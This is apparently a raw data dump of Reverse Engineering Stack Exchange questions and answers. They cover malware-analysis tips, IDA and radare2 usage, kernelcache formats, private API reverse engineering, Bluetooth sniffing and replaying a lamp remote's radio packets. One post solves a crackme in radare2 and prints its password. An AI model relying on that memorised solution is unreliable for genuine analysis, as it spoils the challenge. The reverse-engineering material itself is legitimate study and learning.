+ +If you are trying to perform malware analysis, and you are looking for an automated solution, then I suggest using a sandbox. A popular free and opensource one is Cuckoo Sandbox.
+ +If you are analyzing the malware by hand, then you will have to look for the different ways that you mention.
+ +CreateProcess takes a pointer to a PROCESS_INFORMATION structure as its tenth argument. After CreateProcess returns, you can look at this structure to find the PID of the child. A simpler way would be to breakpoint on CreateProcess, modify the dwCreationFlags to include SUSPENDED, step-over the CreateProcess call, then run either Task Manager or tasklist to see the child process's PID.
+ +OpenProcess is easier. It takes the PID as the third argument. So when you see a call to OpenProcess, just look at the arguments to find the PID.
+ +Depending on which tools you are using, you may be able to script this, such as with IDA Python, OllyScript, or x64dbg's or WinDbg's built-in scripting.
+",26921,,,,,1/8/2019 0:24,,,,2,,,,CC BY-SA 4.0 +20304,2,,20299,1/8/2019 0:37,,1,,"One of the ways that I have taught (see Day 1 Part 11) to find a base64 alphabet is to look for a sequence of 64 bytes with an Shannon entropy of 6 (on a scale of 1-8). Beware that in addition to Base64 alphabets, that will also find other high-entropy data, such as compressed or encrypted code or strings, as well as encryption constants.
+ +For your standard Base64 alphabet, using IDA, press alt-B, then enter (including the double-quotes) ""ABCDEFGHIJKLMNOPQRSTUV"" or some other subset of the standard alphabet. I recommend also selecting the ""find all"" option, which makes it easier to see and skip false matches.
+",26921,,26921,,1/10/2019 0:33,1/10/2019 0:33,,,,6,,,,CC BY-SA 4.0 +20306,2,,20296,1/8/2019 7:36,,1,,"Since eax,ebx etc are used instead of rax,rbx etc in your screen shot
+i assume it is some x86 code and not x64 code
since there doesnt appear a push {} for arguments prior to the call
+i assume this code is not compiled with msvc
it appears to use a mov arguments to stack kind which ida doesnt seem to decode
+(ida should usually show the hFile,etc args if it was standard vs compiled exe
(screenshot shows the disassembly of src code compiled from here using vs2017 15.8.1 x86 32bit
+ + + +the prototype for this function is
+ +BOOLAPI InternetReadFile(
+ HINTERNET hFile,
+ LPVOID lpBuffer,
+ DWORD dwNumberOfBytesToRead,
+ LPDWORD lpdwNumberOfBytesRead
+);
+
+
+in your screenshot var 47c,478,474,470 are the arguments to this specific function
+ +take a look at VIEW ESP window in your screen shot
+cc0xxx is your HINTERNET hFile argument
+var 454 is your LPVOID lpBuffer
+0x3E8 is the DWORD dwNumberOfBytesToRead,
+var_458 is the pointer to recieve the number of bytes read LPDWORD lpdwNumberOfBytesRead
I've an iPhone7 running iOS11.3 (15E216). The ipsw for this build version contains two separate kernelcache files named kernelcache.release.iphone9 and kernelcache.release.iphone10. Neither file is an exact match for the kernel installed at /System/Library/Caches/com.apple.kernelcaches/kernelcache. What process does Apple perform on the ipsw kernelcache to produce the installed kernelcache? How do I identify which kernelcache is the one installed on my phone?
+",4211,,,,,6/7/2019 22:03,How to identify which iOS kernelcache is installed?,The /System/Library/Caches/com.apple.kernelcaches/kernelcache and the IPSW's kernelcache.release.iphone9 files have the same payload content but the former uses the IMG4 file format (containing a wrapper + payload) whereas the latter uses the IM4P file format (containing just the payload).
+",4211,,4211,,1/8/2019 21:25,1/8/2019 21:25,,,,0,,,,CC BY-SA 4.0 +20309,2,,20105,1/8/2019 13:28,,-1,,"The API key is maybe just a random hard coded secret. Take a look here: +https://github.com/ikarulus/nextbike-api-reverse-engineering#obtaing-api-key
+",27017,,,,,1/8/2019 13:28,,,,0,,,,CC BY-SA 4.0 +20310,2,,20295,1/8/2019 13:58,,1,,"It is a bit of a chicken and egg issue here. While it may be possible that there is some custom USB command to dump the firmware, you’re unlikely to discover it by chance without analyzing actually running firmware.
+ +About the only possibility I can think of is DFU (Device Firmware Update) which is a semi-standard protocol for updating firmware of USB devices. If there is a known process for putting the device into update mode, you can try using dfu-util to see if it can communicate with the device.
+",60,,,,,1/8/2019 13:58,,,,0,,,,CC BY-SA 4.0 +20311,2,,20293,1/8/2019 15:15,,2,,"If the device doesn’t respond to unsolicited traffic, it probably needs some specific commands to return results. You could try bruteforcing it by sending random data but it’s a chancy business.
+ +A more likely approach is to sniff the traffic from the official app or at least try to analyze it statically.
+",60,,,,,1/8/2019 15:15,,,,0,,,,CC BY-SA 4.0 +20312,1,20314,,1/8/2019 21:36,,1,190,"I just finished this challenge. This is the content of main function :
+ +[0x08048a86]> pdf
+/ (fcn) main 417
+| main (int argc, char **argv, char **envp);
+| ; var int local_16h @ ebp-0x16
+| ; var int local_15h @ ebp-0x15
+| ; var int local_14h @ ebp-0x14
+| ; var int local_10h @ ebp-0x10
+| ; var int local_ch @ ebp-0xc
+| ; var int local_8h_2 @ ebp-0x8
+| ; var char *local_4h @ esp+0x4
+| ; var int local_8h @ esp+0x8
+| ; DATA XREF from entry0 (0x80488a7)
+| 0x08048a86 8d4c2404 lea ecx, [local_4h] ; 4
+| 0x08048a8a 83e4f0 and esp, 0xfffffff0
+| 0x08048a8d ff71fc push dword [ecx - 4]
+| 0x08048a90 55 push ebp
+| 0x08048a91 89e5 mov ebp, esp
+| 0x08048a93 53 push ebx
+| 0x08048a94 51 push ecx
+| 0x08048a95 83ec20 sub esp, 0x20
+| 0x08048a98 89cb mov ebx, ecx
+| 0x08048a9a 833b01 cmp dword [ebx], 1
+| ,=< 0x08048a9d 7f4f jg 0x8048aee
+| | 0x08048a9f 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4
+| | 0x08048aa2 8b18 mov ebx, dword [eax]
+| | 0x08048aa4 c7442404b18d. mov dword [local_4h], str.usage_: ; [0x8048db1:4]=0x67617375 ; ""usage : ""
+| | 0x08048aac c7042460b004. mov dword [esp], obj._ZSt4cerr__GLIBCXX_3.4 ; [0x804b060:4]=0
+| | 0x08048ab3 e838fdffff call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+| | 0x08048ab8 895c2404 mov dword [local_4h], ebx
+| | 0x08048abc 890424 mov dword [esp], eax
+| | 0x08048abf e82cfdffff call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+| | 0x08048ac4 c7442404ba8d. mov dword [local_4h], str.password ; [0x8048dba:4]=0x73617020 ; "" password""
+| | 0x08048acc 890424 mov dword [esp], eax
+| | 0x08048acf e81cfdffff call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+| | 0x08048ad4 c74424045088. mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+| | 0x08048adc 890424 mov dword [esp], eax
+| | 0x08048adf e85cfdffff call sym.std::ostream::operator___std::ostream_____std::ostream
+| | 0x08048ae4 bb05000000 mov ebx, 5
+| ,==< 0x08048ae9 e92b010000 jmp 0x8048c19
+| || ; CODE XREF from main (0x8048a9d)
+| |`-> 0x08048aee 8d45eb lea eax, [local_15h]
+| | 0x08048af1 890424 mov dword [esp], eax
+| | 0x08048af4 e867fdffff call sym.std::allocator_char_::allocator
+| | 0x08048af9 8d45eb lea eax, [local_15h]
+| | 0x08048afc 89442408 mov dword [local_8h], eax
+| | 0x08048b00 c7442404c48d. mov dword [local_4h], 0x8048dc4 ; [0x8048dc4:4]=0xca15d618
+| | 0x08048b08 8d45f4 lea eax, [local_ch]
+| | 0x08048b0b 890424 mov dword [esp], eax
+| | 0x08048b0e e80dfdffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const
+| | 0x08048b13 8d45ea lea eax, [local_16h]
+| | 0x08048b16 890424 mov dword [esp], eax
+| | 0x08048b19 e842fdffff call sym.std::allocator_char_::allocator
+| | 0x08048b1e 8d45ea lea eax, [local_16h]
+| | 0x08048b21 89442408 mov dword [local_8h], eax
+| | 0x08048b25 c7442404cc8d. mov dword [local_4h], 0x8048dcc ; [0x8048dcc:4]=0xaf67b350
+| | 0x08048b2d 8d45f0 lea eax, [local_10h]
+| | 0x08048b30 890424 mov dword [esp], eax
+| | 0x08048b33 e8e8fcffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const
+| | 0x08048b38 8d45ec lea eax, [local_14h]
+| | 0x08048b3b 8d55f4 lea edx, [local_ch]
+| | 0x08048b3e 89542408 mov dword [local_8h], edx
+| | 0x08048b42 8d55f0 lea edx, [local_10h]
+| | 0x08048b45 89542404 mov dword [local_4h], edx
+| | 0x08048b49 890424 mov dword [esp], eax
+| | 0x08048b4c e83cfeffff call sym.plouf_std::string_std::string
+| | 0x08048b51 83ec04 sub esp, 4
+| | 0x08048b54 8d45f0 lea eax, [local_10h]
+| | 0x08048b57 890424 mov dword [esp], eax
+| | 0x08048b5a e8a1fcffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
+| | 0x08048b5f 8d45ea lea eax, [local_16h]
+| | 0x08048b62 890424 mov dword [esp], eax
+| | 0x08048b65 e8c6fcffff call sym.std::allocator_char_::_allocator
+| | 0x08048b6a 8d45f4 lea eax, [local_ch]
+| | 0x08048b6d 890424 mov dword [esp], eax
+| | 0x08048b70 e88bfcffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
+| | 0x08048b75 8d45eb lea eax, [local_15h]
+| | 0x08048b78 890424 mov dword [esp], eax
+| | 0x08048b7b e8b0fcffff call sym.std::allocator_char_::_allocator
+| | 0x08048b80 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4
+| | 0x08048b83 83c004 add eax, 4
+| | 0x08048b86 8b00 mov eax, dword [eax]
+| | 0x08048b88 89442404 mov dword [local_4h], eax
+| | 0x08048b8c 8d45ec lea eax, [local_14h]
+| | 0x08048b8f 890424 mov dword [esp], eax
+| | 0x08048b92 e860010000 call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst
+| | 0x08048b97 84c0 test al, al
+| |,=< 0x08048b99 744a je 0x8048be5
+| || 0x08048b9b c7442404fc8d. mov dword [local_4h], str.Bravo__tu_peux_valider_en_utilisant_ce_mot_de_passe... ; [0x8048dfc:4]=0x76617242 ; ""Bravo, tu peux valider en utilisant ce mot de passe...""
+| || 0x08048ba3 c7042400b104. mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0
+| || 0x08048baa e841fcffff call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+| || 0x08048baf c74424045088. mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+| || 0x08048bb7 890424 mov dword [esp], eax
+| || 0x08048bba e881fcffff call sym.std::ostream::operator___std::ostream_____std::ostream
+| || 0x08048bbf c7442404348e. mov dword [local_4h], str.Congratz._You_can_validate_with_this_password... ; [0x8048e34:4]=0x676e6f43 ; ""Congratz. You can validate with this password...""
+| || 0x08048bc7 c7042400b104. mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0
+| || 0x08048bce e81dfcffff call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+| || 0x08048bd3 c74424045088. mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+| || 0x08048bdb 890424 mov dword [esp], eax
+| || 0x08048bde e85dfcffff call sym.std::ostream::operator___std::ostream_____std::ostream
+| ,===< 0x08048be3 eb24 jmp 0x8048c09
+| ||| ; CODE XREF from main (0x8048b99)
+| ||`-> 0x08048be5 c7442404658e. mov dword [local_4h], str.Password_incorrect. ; [0x8048e65:4]=0x73736150 ; ""Password incorrect.""
+| || 0x08048bed c7042400b104. mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0
+| || 0x08048bf4 e8f7fbffff call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+| || 0x08048bf9 c74424045088. mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+| || 0x08048c01 890424 mov dword [esp], eax
+| || 0x08048c04 e837fcffff call sym.std::ostream::operator___std::ostream_____std::ostream
+| || ; CODE XREF from main (0x8048be3)
+| `---> 0x08048c09 bb00000000 mov ebx, 0
+| | 0x08048c0e 8d45ec lea eax, [local_14h]
+| | 0x08048c11 890424 mov dword [esp], eax
+| | 0x08048c14 e8e7fbffff call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
+| | ; CODE XREF from main (0x8048ae9)
+| `--> 0x08048c19 89d8 mov eax, ebx
+| ,=< 0x08048c1b eb75 jmp 0x8048c92
+..
+| | ; CODE XREF from main (0x8048c1b)
+| `-> 0x08048c92 8d65f8 lea esp, [local_8h_2]
+| 0x08048c95 59 pop ecx
+| 0x08048c96 5b pop ebx
+| 0x08048c97 5d pop ebp
+| 0x08048c98 8d61fc lea esp, [ecx - 4]
+\ 0x08048c9b c3 ret
+
+
+I solved it by placing a breakpoint to 0x08048b99
adress and printing the stack when I hit it using the command pxr @ esp
+The result was :
0xffe4a170 0xffe4a184 .... @esp stack R W 0x9f61c8c --> (Here_you_have_to_understand_a_little_C++_stuffs)
+0xffe4a174 0xffe4b367 g... edx stack R W 0x43007373 (ss) --> ascii
So now, I would like to solve this challenge again in a different way. I have two questions.
+ +First question : At first, before solve it by this way, I tried to put breakpoint on each comparaison function and my idea was to change the rip adress like in this video.
+The problem in my case is when I enter the command dr
, I don't have the rip adress. This is the output I have :
hit breakpoint at: 8048b99
+[0x08048b99]> dr
+eax = 0xffffff00
+ebx = 0xffceafa0
+ecx = 0x00000004
+edx = 0xffceb365
+esi = 0xf7d54000
+edi = 0xf7d54000
+esp = 0xffceaf60
+ebp = 0xffceaf88
+eip = 0x08048b99
+eflags = 0x00000246
+oeax = 0xffffffff
+
+
+Why I don't have the rip value ? Can you explain me how can I do that if is it possible ?
+ +Second question : Is there a command in radare2 which I don't know and which allows me to print directly the value of obj._ZSt4cout__GLIBCXX_3.4
So I have a peer to peer app that allows customers to request jobs at their own price and have the job fulfilled by a freelancer in the community. The common jobs requested as of recent are home improvement gigs and lawn care things. We plan on releasing a new feature that allows customers to request groceries through the app to be delivered to them as well.
+ +The grocery company we are using has open source documentation for parts of their api, however some of the documentation is missing components we need to successfully integrate the feature into our app. So for the missing components I have reverse engineered some components of the software that aren't included within the public documentation and plan on integrating it into our app. I haven't fully finished the reverse engineering, as I am a quarter of the way done but:
+ +Thanks in advance.
+",27025,,245,,1/9/2019 10:40,1/9/2019 14:15,Reverse Engineering Grocery Software API,rip = x64 +eip = x86 +dr shows eip in your case
+ +it is probably some demangled name (not sure why radare2 inserts the GLIBC part )
+ +but if you strip the GLIBC part you can use iD Command to demangle it to std::cout
+ +[0x01012d6c]> iD cxx _ZSt4cout__GLIBCXX_3.4
+[0x01012d6c]> iD cxx _ZSt4cout__GLIBCXX_
+[0x01012d6c]> iD cxx _ZSt4cout__GLIBCXX
+[0x01012d6c]> iD cxx _ZSt4cout__GLIBC
+[0x01012d6c]> iD cxx _ZSt4cout__GL
+[0x01012d6c]> iD cxx _ZSt4cout__
+[0x01012d6c]> iD cxx _ZSt4cout_
+[0x01012d6c]> iD cxx _ZSt4cout
+std::cout
+[0x01012d6c]> iD cxx _ZSt4cou
+[0x01012d6c]>
+
+
+btw i don't know why you get all that unintelligible thingies
+ +did you analyse the executable prior to loading or after loading it ?
+ +radare2 does a better job than what you posted as a result of pdf
+ +just so i wasn't deceived by some long forgotten memory i ran through hoops to fetch the 4th challenge :( and loaded it in radare2 and i am sure it really does a better job than you posted in case after analysis you don't get intelligible output check
+ +e asm.demangle and set it to true reanlyze and do pdf
+ +here is a screenshot the first _Z blah blah in your screen shot is std::cerr auto demangled by radare2
+ + + +my radare2 version atm is 2.8.xxx i see latest is 3.2.xxx if the latest version differs in output try contacting the radare2 team +maybe someone from the team or a more avid user like megabeets might chime here too
+",3473,,3473,,1/9/2019 21:24,1/9/2019 21:24,,,,0,,,,CC BY-SA 4.0 +20315,1,20327,,1/9/2019 7:11,,1,439,"I have come across the following jump table with a large amount of cases (160+). There seems to be cases missing from IDAs analysis though. For example it skips from cases 22 -> 38 -> 91, and I can see about 10 cases total.
+ + + +Instructions around 0052B970
, it is the disasm located immediately above the screenshot:
.text:0052B932 loc_52B932: ; CODE XREF: sub_52B920+9↑j
+.text:0052B932 8A 01 mov al, [ecx]
+.text:0052B934 3C B5 cmp al, 0B5h
+.text:0052B936 73 F3 jnb short loc_52B92B
+.text:0052B938 0F B6 D0 movzx edx, al
+.text:0052B93B 8B 04 95 E8 0A+ mov eax, dword_730AE8[edx*4]
+.text:0052B942 85 C0 test eax, eax
+.text:0052B944 57 push edi
+.text:0052B945 8B 7D 08 mov edi, [ebp+arg_0]
+.text:0052B948 89 07 mov [edi], eax
+.text:0052B94A 75 06 jnz short loc_52B952
+.text:0052B94C 5F pop edi
+.text:0052B94D 5E pop esi
+.text:0052B94E 5D pop ebp
+.text:0052B94F C2 04 00 retn 4
+.text:0052B952 ; ---------------------------------------------------------------------------
+.text:0052B952
+.text:0052B952 loc_52B952: ; CODE XREF: sub_52B920+2A↑j
+.text:0052B952 85 C0 test eax, eax
+.text:0052B954 53 push ebx
+.text:0052B955 0F 8D DC 01 00+ jge loc_52BB37
+.text:0052B95B 8D 42 EA lea eax, [edx-16h] ; switch 158 cases
+.text:0052B95E 3D 9D 00 00 00 cmp eax, 9Dh
+.text:0052B963 0F 87 C8 01 00+ ja loc_52BB31 ; jumptable 0052B970 default case
+.text:0052B969 0F B6 80 80 BB+ movzx eax, ds:byte_52BB80[eax]
+.text:0052B970 FF 24 85 44 BB+ jmp ds:off_52BB44[eax*4] ; switch jump
+.text:0052B977 ; ---------------------------------------------------------------------------
+.text:0052B977
+.text:0052B977 loc_52B977: ; CODE XREF: sub_52B920+50↑j
+.text:0052B977 ; DATA XREF: .text:off_52BB44↓o
+.text:0052B977 83 FE 0D cmp esi, 0Dh ; jumptable 0052B970 case 22
+.text:0052B97A 72 4A jb short loc_52B9C6
+.text:0052B97C 0F B7 49 01 movzx ecx, word ptr [ecx+1]
+.text:0052B980 5B pop ebx
+.text:0052B981 89 0F mov [edi], ecx
+.text:0052B983 5F pop edi
+.text:0052B984 B8 01 00 00 00 mov eax, 1
+.text:0052B989 5E pop esi
+.text:0052B98A 5D pop ebp
+.text:0052B98B C2 04 00 retn 4
+
+
+Thanks.
+",19294,,19294,,1/10/2019 19:49,1/10/2019 19:49,"IDA - large jump table, missing cases in analysis",
+I'm reversing the BIOS of my laptop, for fun and for learning something new.
+Inside it, I just stepped into this piece of code:
mov ecx, 13Ah
+rdmsr
+and eax, 1
+jnz SkipCacheAsRAM
+
+
+Looking on the Intel datasheet ""Intel 64 and IA-32 Architectures Software Developer’s Manual"", I couldn't find any clue about it, but seems like that in this BIOS release, its value is essential the determine if a key feature such as 'cache as RAM' have to be initialized using an approach or another.
+I checked also on the AMD equivalent datasheet, even though I'm sure the MotherBoard is only for Intel CPUs.
+Does anyone indicate me an alternative source(s) where to search what this 0x13a register does?
I (a random bloke on the internet) would do these:
+ +As @Amirag mentioned the private API might be very unstable and if they break the compatibility your users will suffer blaming your app. And most likely leave a negative review and uninstall it.
+",25796,,,,,1/9/2019 14:15,,,,1,,,,CC BY-SA 4.0 +20319,1,,,1/9/2019 14:32,,3,1552,"Related to UE Megaboom serial protocol: I am trying to get some insights on the serial protocol spoken by the UE Megaboom, which I suspect is how the app controls the advanced features of the speaker.
+ +One approach would be to install the app on an Android VM, connect to the speaker and capture the traffic exchanged.
+ +With VirtualBox, I would probably need to connect a Bluetooth dongle as a USB device and let the VM control it.
+ +How can I capture the serial traffic exchanged between the speaker and the app?
+",26989,,,,,1/11/2019 0:28,Sniffing serial Bluetooth traffic on Android,GitHub is a good place to search for such stuff, e.g.:
+ +https://github.com/search?q=0x13A+IA32+MSR&type=Code (may require logging in)
+ +Produces results like:
+ +#define MSR_BOOT_GUARD_SACM_INFO 0x13A
+#define B_NEM_INIT BIT0
+
+
+There is no comment, but from the name it look like the bit 0 determines whether the processor is already in NEM (Non-evict mode, another name for Cache-as-RAM).
+",60,,,,,1/9/2019 18:12,,,,1,,,,CC BY-SA 4.0 +20323,1,,,1/9/2019 21:07,,0,3037,"I open exe file (running on Windows) in Ida , and saw a function (for example sub_ABC) that I want to export , so I can call this function from c# code.
+ +How can I export function that I Know the name that Ida gave to it , (by the offset) ?
Do I need to see how the arguments pass to this function (stack/register) so I will know the calling convention when I call it via c# , yes? Ida can tell me what is the calling convention of spesific function?
Im hoping somebody here can give me some advice. Im trying to read the flash contents of a Mpc564 Motorola MCU. The flash size is 512KB The processor was removed from a bad circuit board. Is there a way to read the flash after the MCU has been removed from the board. Any help would be appreciated.
+
According to this StackOverflow answer, Android has a setting in Developer Options from 4.4 onwards. You first need to enable Developer Settings (if you have not done so already), then enable “Enable Bluetooth HCI snoop log”.
+ +I have not tried this myself yet, but according to the information I could find:
+ +/sdcard/btsnoop_hci.log
./sdcard
, modify the path accordingly.FileName
parameter in /etc/bluetooth/bt_stack.conf
to find the correct path. (Some flavors of Android may put this file in /system/etc
or /vendor/etc
.)/data/misc/bluetooth/logs/btsnoop_hci.log
(you need to have root permissions to get the file).To get Bluetooth from an Android VM running on VirtualBox:
+ +vboxusers
group, e.g. by running sudo usermod -a -G vboxusers your_user_name
In practice, however, I was unable to get a reliable Bluetooth connection from the Android VM. I can scan for devices and managed to pair the BT device (though that took multiple attempts), but I never managed to connect to the device. I suspect that is because Android is quite resource-hungry, and the overhead of virtualization along with a restriction to 2 out of 4 processor cores (which I have set this way to keep VMs from hogging my entire CPU) does not leave enough room for Android to run smoothly. Will need to retry with Android x86_64 on a USB stick, running on physical hardware.
+",26989,,26989,,1/11/2019 0:28,1/11/2019 0:28,,,,0,,,,CC BY-SA 4.0 +20326,2,,20323,1/10/2019 12:49,,1,,"2a. Analyzing in IDA can solve calling conventions issue. if before calling of a function, the stack should be prepared, you may find some [push]/[sub esp,X] right before call to that function. maybe calling with registers has been done (as in many cases of x64-bit). so you should know which register used for what parameter. this needs documentation of that function otherwise you have to analyse yourself!
+ +2b. invoking methods from dotNet assemblies is possible, nevertheless you need initialize/provide function requirements also. look at here.
+",12687,,,,,1/10/2019 12:49,,,,5,,,,CC BY-SA 4.0 +20327,2,,20315,1/10/2019 14:06,,1,,"This is an example of so called sparse switch table - large range of case values with gaps in them. You can see how it first determines the case index by indexing a byte table then jumps to the handler using an index into the address table. So missing values are normal and expected; they’re handled by the default case.
+ +You can check Rolf’s research into compiler switch implementations and their variations in this article series:
+ +https://www.msreverseengineering.com/blog/2014/6/23/switch-as-binary-search-part-0
+",60,,,,,1/10/2019 14:06,,,,0,,,,CC BY-SA 4.0 +20328,1,20330,,1/9/2019 15:20,,3,181,"I have an unbranded LED lamp with a remote control. I would like to reverse the protocol of the remote but unfortunately I can't create my own packages. The frequency of the remote transceiver is 2.4GHz (PA = 6dBm, channel = 1) so I used an NRF24 for collecting the frames from a button. When I 'replay' the collected messages the lamp reacts as expected.
+As I observed the preamble is 5 bytes long and in the end of packet there is a 2 bytes long hash, probably a CRC16. (I think it should be some kind of hash because one bit change in the packet generates totally different value in last 2 bytes position.) Unfortunately I couldn't identify the type of transceiver so I cannot figure out the packet format. I tried to reverse the hash with various methods but without luck.
Do you have any idea what is the hash algorithm?
+ +There are some test vectors from the same button.
+ +aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 00 21 00 60 1f 55 57 84 c1
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 00 e1 00 60 1f 55 56 c4 cc
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 01 21 00 60 1f 55 56 86 95
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 01 e1 00 60 1f 55 55 c4 de
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 02 41 00 60 1f 55 55 75 64
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 02 61 00 60 1f 55 55 40 6c
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 02 81 00 60 1f 55 55 25 48
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 02 c1 00 60 1f 55 54 f5 6d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 02 c1 00 60 1f 55 54 f5 6d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 03 61 00 60 1f 55 54 42 38
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 01 00 60 1f 55 53 b8 9b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 01 00 60 1f 55 53 b8 9b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 21 00 60 1f 55 53 8d 93
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 41 00 60 1f 55 53 78 9f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 61 00 60 1f 55 53 4d 97
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 61 00 60 1f 55 53 4d 97
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 81 00 60 1f 55 53 28 b3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 04 81 00 60 1f 55 53 28 b3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 05 01 00 60 1f 55 52 ba cf
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 05 81 00 60 1f 55 52 2a e7
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 05 a1 00 60 1f 55 52 1f ef
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 06 61 00 60 1f 55 51 49 3e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 06 61 00 60 1f 55 51 49 3e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 07 21 00 60 1f 55 50 8b 6e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 07 a1 00 60 1f 55 50 1b 46
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 07 c1 00 60 1f 55 4f e3 88
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 08 e1 00 60 1f 55 4e c4 58
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 08 e1 00 60 1f 55 4e c4 58
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 08 e1 00 60 1f 55 4e c4 58
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 08 01 00 60 1f 55 4f b1 5d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 08 61 00 60 1f 55 4f 44 51
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 09 41 00 60 1f 55 4e 73 0d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 09 21 00 60 1f 55 4e 86 01
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0a 41 00 60 1f 55 4d 75 f0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0a 61 00 60 1f 55 4d 40 f8
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0a 81 00 60 1f 55 4d 25 dc
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0b 01 00 60 1f 55 4c b7 a0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0b 21 00 60 1f 55 4c 82 a8
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0b 41 00 60 1f 55 4c 77 a4
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0b 41 00 60 1f 55 4c 77 a4
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0b 61 00 60 1f 55 4c 42 ac
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c 21 00 60 1f 55 4b 8d 07
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c 61 00 60 1f 55 4b 4d 03
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c 61 00 60 1f 55 4b 4d 03
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c 81 00 60 1f 55 4b 28 27
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c c1 00 60 1f 55 4a f8 02
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c c1 00 60 1f 55 4a f8 02
